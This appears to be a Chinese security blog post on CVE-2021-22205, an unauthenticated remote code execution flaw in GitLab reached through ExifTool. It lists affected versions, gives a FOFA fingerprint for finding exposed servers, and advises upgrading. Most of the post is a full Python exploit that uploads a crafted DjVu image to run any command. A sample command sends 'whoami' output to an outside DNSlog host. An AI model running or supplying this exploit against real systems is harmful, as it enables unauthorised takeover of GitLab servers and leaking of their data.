0x01 漏洞介绍&原理
GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,是一款Ruby开发的Git项目管理平台。由于在11.9以后的GitLab中,使用了图片处理工具ExifTool,而此图片处理工具又受到了漏洞CVE-2021-22204的影响:
漏洞触发ExifTool功能处,ExifTool是用于从图像中移除元数据的开源工具,在解析上传图像中的元数据时,并没有完全解析某些元数据,导致攻击者上传带有恶意元数据的图片,从而导致远程命令执行。
攻击者可以通过一个存在未授权的接口,上传一张恶意构造的图片,进而导致该漏洞在无需进行身份验证的情况下即可进行RCE
0x02 影响版本
Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8
0x03 漏洞检测
主页
http://127.0.0.1/users/sign_in
FOFA指纹:title="GitLab"
EXP代码贴最后,直接运行
python3 CVE-2021-22205.py -u http://12.0.0.1:8080 -c "curl \`whoami\`.7kwtfs.dnslog.cn"
我用的是DNSlog探测的,纯内网环境也可以反弹到自己的http服务测试
0x04 修复建议
- 升级至最新版本
- 官方链接:
https://about.gitlab.com/update/
EXP代码
import sys
import requests
import argparse
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def title():
print('''
GitLab < 13.10.3 RCE
python3 CVE-2021-22205.py -u target_url -c command
''')
def exp(target_url,command):
session = requests.Session()
try:
req_token = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req_token.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req_exp = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req_exp.text:
print("{} 存在漏洞,CMD执行成功".format(target_url))
else:
print("{} 不存在漏洞".format(target_url))
except Exception as e:
print(e)
def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL.error{0}'.format(url))
def run():
title()
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, help='url')
parser.add_argument('-c', '--command', type=str, help='cmd')
args = parser.parse_args()
target_url = args.url
command = args.command
if target_url != None and command != None:
exp(target_url,command)
else:
sys.exit(0)
if __name__ == '__main__':
run()